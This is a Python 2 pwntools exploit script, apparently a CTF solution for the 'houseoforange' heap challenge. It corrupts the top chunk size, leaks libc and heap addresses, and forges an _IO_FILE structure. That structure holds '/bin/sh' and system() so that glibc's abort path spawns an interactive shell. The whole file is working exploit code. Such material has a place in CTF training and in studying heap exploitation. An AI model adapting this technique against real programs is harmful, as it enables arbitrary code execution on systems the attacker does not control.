from pwn import *

context.log_level='debug'

'''
0x555555758000:	0x0000000000000000	0x0000000000000021->malloc(0x10)
0x555555758010:	0x0000555555759040->price	0x0000555555758030->name
0x555555758020:	0x0000000000000000	0x0000000000001011->malloc(size)
0x555555758030:	0x4141414141414141	0x4141414141414141
0x555555758040:	0x4141414141414141	0x0000000a41414141
'''

def Build(length,name,price): #MAX 4 possible
	s.recvuntil('Your choice :')
	s.sendline('1')
	s.recvuntil('Length of name :')
	s.sendline(str(length))
	s.recvuntil('Name :')
	s.send(name)
	s.recvuntil('Price of Orange:') #malloc(8) fix
	s.sendline(str(price))
	s.recvuntil('Color of Orange:')
	s.sendline('1')

def See(until):
	s.recvuntil('Your choice :')
	s.sendline('2')
	
	if until is 0:
		s.recvuntil('+++++++++++++++++++++++++++++++++++++')
	elif until is not 0:
		s.recvuntil(until)

def Upgrade(length,name,price):
	s.recvuntil('Your choice :')
	s.sendline('3')
	s.recvuntil('Length of name :')
	s.sendline(str(length))
	s.recvuntil('Name:')
	s.send(name)
	s.recvuntil('Price of Orange:')
	s.sendline(str(price))
	s.recvuntil('Color of Orange:')
	s.sendline('1')

if __name__ == "__main__":
	
	s=process('./houseoforange')

	libc="/lib/x86_64-linux-gnu/libc.so.6"
	l=ELF(libc)
	
	Build(0x100,'A'*0x100,1000) #index 0 

	payload='a'*0x100
	payload+=p64(0x0)+p64(0x21)
	payload+=p64(0x1f00003e8)+p64(0x0)
	payload+=p64(0x0)+p64(0xeb1) #0x20d61 -> fake size -> 0xd61

	Upgrade(len(payload),payload,1000) #fake top chunk size 
	#index 1
	Build(0x1000,'B'*0x1000,1000) #top chunk size is 0xd61, malloc(0x1000)-> sysmalloc -> free()	
	#index 2
	Build(0x500, 'C'*8,1000)
	See('Name of house : '+'C'*8)
	
	libc_leak =u64(s.recv(6).ljust(8,'\x00')) #main_arena+88
	libc_base =libc_leak-0x3c4b78-0x610
	system =libc_base+l.symbols['system']
	_IO_list_all=libc_base+l.symbols['_IO_list_all']

	Upgrade(24,'C'*24,1000)
	See('Name of house : '+'C'*24) 	

	heap_leak =u64(s.recv(6).ljust(8,'\x00')) 
	heap_base = heap_leak-0x1b0

	head="K"*0x500
	head+=p64(0x0)+p64(0x21)
	head+=p64(0x1f00003e8)+p64(0x0)

	payload="/bin/sh\x00"+p64(0x61) #top top[1]
	
	payload+=p64(_IO_list_all-0x9a8)+p64(_IO_list_all-0x10) #top[2] top[3]
	payload+=p64(0x0)+p64(0x0) #top[4] top[5]
	payload+=p64(0x0)+p64(0x0) #top[6] top[7]
	payload+=p64(0x0)+p64(0x0) #top[8] top[9]
	payload+=p64(0x0)+p64(0x0) #top[10] top[11]
	payload+=p64(0x0)+p64(0x0) #top[12] top[13]
        payload+=p64(0x0)+p64(system) #top[14] top[15]
        payload+=p64(0x0)+p64(0x0) #top[16] top[17]
        payload+=p64(0x0)+p64(0x0) #top[18] top[19]
        payload+=p64(heap_base+0x770)+p64(0x2) #top[20] top[21]
	payload+=p64(0x3)+p64(0x0) #top[22] top[23]
	payload+=p64(0x1)+p64(0x0) #top[24] top[25]
	payload+=p64(0x0)+p64(heap_base+0x740) #top[26] top[27]

	payload=head+payload

	Upgrade(len(payload),payload,1000)
	print "heap_base: "+str(hex(heap_leak))
	print "libc_leak: "+str(hex(libc_leak))

	s.interactive()




